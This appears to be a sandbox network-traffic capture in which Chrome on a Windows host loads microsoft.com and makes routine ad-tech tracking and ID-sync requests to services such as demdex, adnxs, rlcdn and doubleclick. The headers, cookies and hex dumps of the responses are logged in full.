2024-12-29 12:55:30 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:29 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6649 Connection: close X-TID: lJhXek1tSh0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-2-v069-09b470f5a.edge-irl1.demdex.com 3 ms set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:29 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:30 UTC	6649	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 38 31 36 39 39 34 34 30 35 30 30 38 37 31 34 33 30 33 36 33 36 38 38 34 30 33 32 37 30 39 38 34 33 38 31 30 32 38 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"81699440500871430363688403270984381028","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50530	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:30 UTC	934	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=81699440500871430363688403270984381028&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%0163539283e80441aa9dfff040b635d212%012&ts=1735476928112 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483
2024-12-29 12:55:31 UTC	823	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:31 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6666 Connection: close X-TID: DJKWNfXiToc= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.microsoft.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-2-v069-0799cd85a.edge-irl1.demdex.com 8 ms set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:31 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:31 UTC	6666	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 38 31 36 39 39 34 34 30 35 30 30 38 37 31 34 33 30 33 36 33 36 38 38 34 30 33 32 37 30 39 38 34 33 38 31 30 32 38 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"81699440500871430363688403270984381028","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50535	63.140.62.222	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:30 UTC	491	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=81699440500871430363688403270984381028&ts=1735476925721 HTTP/1.1 Host: msftenterprise.sc.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:31 UTC	378	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Sun, 29 Dec 2024 12:55:31 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-12-29 12:55:31 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50539	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:31 UTC	713	OUT	GET /ibs:dpid=411&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485
2024-12-29 12:55:31 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:31 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: n6Hu5OT3QnA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0dceb7b49.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:31 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:31 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:31 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50542	35.244.154.8	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:31 UTC	637	OUT	GET /365868.gif?partner_uid=81980359511806646913714319239841733483 HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:31 UTC	736	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CKyqFhIxCi0IARCYEhomODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODMQABoNCMONxbsGEgUI6AcQAEIASgA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=7Duni9Is6QKMFg6L/mqucNLRKA4yKjzeBAXndzPoDRI=; Path=/; Domain=rlcdn.com; Expires=Mon, 29 Dec 2025 12:55:31 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Thu, 27 Feb 2025 12:55:31 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Sun, 29 Dec 2024 12:55:31 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50537	37.252.172.123	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:31 UTC	644	OUT	GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:31 UTC	1494	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Sun, 29 Dec 2024 12:55:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID AN-X-Request-Uuid: bfc4adc0-4e5f-4e74-9a10-b599e313d8ad Set-Cookie: XANDR_PANID=BZXHKZql-2YMKk-7V-hqTl77N6wfEL1GYZbNGSUayoQMp4BmPQQC6aHR3SlKXRTYDc0J4sq13dIHO3Fz88aU4HIql9-ITc2_buK9aDLmeZk.; SameSite=None; Path=/; Max-Age=7776000; Expires=Sat, 29-Mar-2025 12:55:31 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sun, 17-Dec-2034 12:55:31 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7919660468872361886; SameSite=None; Path=/; Max-Age=7776000; Expires=Sat, 29-Mar-2025 12:55:31 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.189; 8.46.123.189; 868.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50550	172.217.17.34	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:32 UTC	797	OUT	GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:33 UTC	880	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM=&google_tc= Date: Sun, 29 Dec 2024 12:55:33 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 378 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Sun, 29-Dec-2024 13:10:33 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-29 12:55:33 UTC	378	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 61 64 6f 62 65 5f 64 6d 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50558	35.244.154.8	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:33 UTC	760	OUT	GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODMQABoNCMONxbsGEgUI6AcQAEIASgA HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=7Duni9Is6QKMFg6L/mqucNLRKA4yKjzeBAXndzPoDRI=; pxrc=CAA=
2024-12-29 12:55:33 UTC	745	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://dpm.demdex.net/ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=BkMQ8jAjDTmMFg6L/mqucNLRKA4yKjzeBAXndzPoDRI=; Path=/; Domain=rlcdn.com; Expires=Mon, 29 Dec 2025 12:55:33 GMT; Secure; SameSite=None Set-Cookie: pxrc=CMWNxbsGEgUI6AcQABIGCPHrARAA; Path=/; Domain=rlcdn.com; Expires=Thu, 27 Feb 2025 12:55:33 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Sun, 29 Dec 2024 12:55:33 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50559	37.252.172.123	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:33 UTC	861	OUT	GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=BZXHKZql-2YMKk-7V-hqTl77N6wfEL1GYZbNGSUayoQMp4BmPQQC6aHR3SlKXRTYDc0J4sq13dIHO3Fz88aU4HIql9-ITc2_buK9aDLmeZk.; receive-cookie-deprecation=1; uuid2=7919660468872361886
2024-12-29 12:55:34 UTC	1427	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sun, 29 Dec 2024 12:55:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://dpm.demdex.net/ibs:dpid=358&dpuuid=7919660468872361886 AN-X-Request-Uuid: 4e191330-ca61-4ed6-9b2e-94c797dd3c83 Set-Cookie: XANDR_PANID=BZXHKZql-2YMKk-7V-hqTl77N6wfEL1GYZbNGSUayoQMp4BmPQQC6aHR3SlKXRTYDc0J4sq13dIHO3Fz88aU4HIql9-ITc2_buK9aDLmeZk.; SameSite=None; Path=/; Max-Age=7776000; Expires=Sat, 29-Mar-2025 12:55:33 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sun, 17-Dec-2034 12:55:33 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7919660468872361886; SameSite=None; Path=/; Max-Age=7776000; Expires=Sat, 29-Mar-2025 12:55:33 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.189; 8.46.123.189; 868.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50566	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:33 UTC	808	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=81699440500871430363688403270984381028&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%0163539283e80441aa9dfff040b635d212%012&ts=1735476928112 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489
2024-12-29 12:55:34 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:34 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6649 Connection: close X-TID: 6qqYGph2QQM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-2-v069-0b0020d8d.edge-irl1.demdex.com 5 ms set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:34 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:34 UTC	6649	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 38 31 36 39 39 34 34 30 35 30 30 38 37 31 34 33 30 33 36 33 36 38 38 34 30 33 32 37 30 39 38 34 33 38 31 30 32 38 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"81699440500871430363688403270984381028","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50583	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:35 UTC	860	OUT	GET /ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489
2024-12-29 12:55:35 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: RFvg7l+zRAc= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0a6138bf6.edge-irl1.demdex.com 3 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; 